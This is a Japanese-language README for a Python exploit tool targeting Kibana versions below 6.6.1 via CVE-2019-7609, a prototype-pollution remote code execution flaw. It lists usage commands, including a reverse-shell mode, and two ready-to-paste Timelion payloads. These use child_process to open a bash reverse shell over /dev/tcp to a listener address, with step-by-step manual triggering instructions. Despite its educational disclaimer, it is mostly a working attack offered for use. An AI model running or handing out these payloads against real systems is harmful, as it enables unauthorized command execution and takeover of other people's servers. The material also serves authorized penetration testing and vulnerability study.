Kibana < 6.6.1 リモートコード実行エクスプロイト (CVE-2019-7609)

🚨 教育目的のRCEエクスプロイト 🚨

作者: LandGrey (Python3リファクタリング: [Your Name])
参照: Exploit-DB 46651
CVE: CVE-2019-7609

⚠️ 免責事項:
このスクリプトは教育目的および許可された侵入テストのみを対象としています。所有していない、または明示的なテスト許可がないシステムで使用しないでください。作者および貢献者は、このツールの誤用や損害について一切責任を負いません。

🎯 これは何ですか？

これは、Kibanaバージョン < 6.6.1 の リモートコード実行脆弱性 に対するPython 3エクスプロイトスクリプトです。プロトタイプ汚染の欠陥を利用して、脆弱なKibanaインスタンス上で任意のコマンドを実行し、リバースシェルを起動することも可能です。

🕹️ 特徴

Kibanaのバージョンを自動検出
脆弱性の状態を確認
オプションでリスナーへのリバースシェルを起動
クリーンでインタラクティブな端末出力
完全にPython 3互換

📚 参照

🚀 使用方法

python3 kibana_exploit.py -u http://target-kibana:5601

リバースシェルを起動するには：

python3 kibana_exploit.py -u http://target-kibana:5601 --shell -host YOUR_IP -port LISTENER_PORT

例

python3 kibana_exploit.py -u http://10.10.10.100:5601 --shell -host 10.10.10.200 -port 4444

🛠️ 必要条件

Python 3.x
requests ライブラリ
packaging ライブラリ

依存関係のインストール：

pip install requests packaging

💡 Timelionを使用した手動エクスプロイト

KibanaのTimelionビジュアライザーを使用して、この脆弱性を手動で悪用することもできます：

Kibanaを開く
以下のペイロードのいずれかをTimelionビジュアライザーに貼り付ける
Runをクリック
左パネルでCanvasをクリック
リバースシェルがポップアップします！ :)

ペイロード作成者: securityMB

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

ペイロード作成者: chybeta

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \\'bash -i>& /dev/tcp/192.168.1.100/4444 0>&1\\'");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

192.168.1.100 と 4444 を自分のリスナーのIPとポートに置き換えてください。

🧩 動作の仕組み

HTTPリクエストでKibanaのバージョンを検出
ターゲットがCVE-2019-7609に対して脆弱か確認
プロトタイプ汚染を利用して任意のコマンドを実行
オプションで指定したホストとポートにリバースシェルを生成

🎨 出力

このスクリプトは、検出、確認、エクスプロイトの各段階で明確でステップバイステップの出力を提供し、追跡が容易で楽しく使用できます！

👾 楽しみと学習のために

このスクリプトは、プロトタイプ汚染、リモートコード実行、侵入テスト技術を学ぶのに最適な方法です。責任を持って、常に許可を得て使用してください！

📝 ライセンス

このプロジェクトは教育目的のみです。保証はありません。倫理的にハッキングし、好奇心を持ち続け、楽しんでください！

CVE-2019-7069-POC

人気